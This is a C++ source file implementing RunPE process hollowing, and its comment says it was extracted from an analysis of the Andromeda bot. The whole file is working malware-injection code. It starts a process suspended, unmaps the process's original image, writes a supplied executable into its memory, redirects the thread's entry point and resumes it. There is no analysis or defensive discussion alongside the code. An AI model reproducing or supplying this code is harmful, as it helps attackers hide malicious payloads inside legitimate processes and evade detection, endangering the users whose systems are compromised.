RunPE.cpp

// Extracted from http://resources.infosecinstitute.com/andromeda-bot-analysis/#gref

typedef LONG(WINAPI* NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);

class runPE {
public:
    void run(LPSTR szFilePath, PVOID pFile)
    {
        PIMAGE_DOS_HEADER IDH;
        PIMAGE_NT_HEADERS INH;
        PIMAGE_SECTION_HEADER ISH;
        PROCESS_INFORMATION PI;
        STARTUPINFOA SI;
        PCONTEXT CTX;
        PDWORD dwImageBase;
      
        NtUnmapViewOfSection xNtUnmapViewOfSection;
        LPVOID pImageBase;
      
        int Count;
        IDH = PIMAGE_DOS_HEADER(pFile);
      
        if (IDH->e_magic == IMAGE_DOS_SIGNATURE) {
            INH = PIMAGE_NT_HEADERS(DWORD(pFile) + IDH->e_lfanew);
          
            if (INH->Signature == IMAGE_NT_SIGNATURE) {
                RtlZeroMemory(&SI, sizeof(SI));
                RtlZeroMemory(&PI, sizeof(PI));
              
                if (CreateProcessA(szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) {
                    CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
                    CTX->ContextFlags = CONTEXT_FULL;
                  
                    if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) {
                        ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&dwImageBase), 4, NULL);
                      
                        if (DWORD(dwImageBase) == INH->OptionalHeader.ImageBase) {
                            xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
                            xNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase));
                        }
                      
                        pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
                        if (pImageBase) {
                            WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL);
                          
                            for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++) {
                                ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew + 248 + (Count * 40));
                                WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID(DWORD(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
                            }
                          
                            WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&INH->OptionalHeader.ImageBase), 4, NULL);
                            CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
                            SetThreadContext(PI.hThread, LPCONTEXT(CTX));
                            ResumeThread(PI.hThread);
                        }
                    }
                }
            }
        }
        VirtualFree(pFile, 0, MEM_RELEASE);
    }
};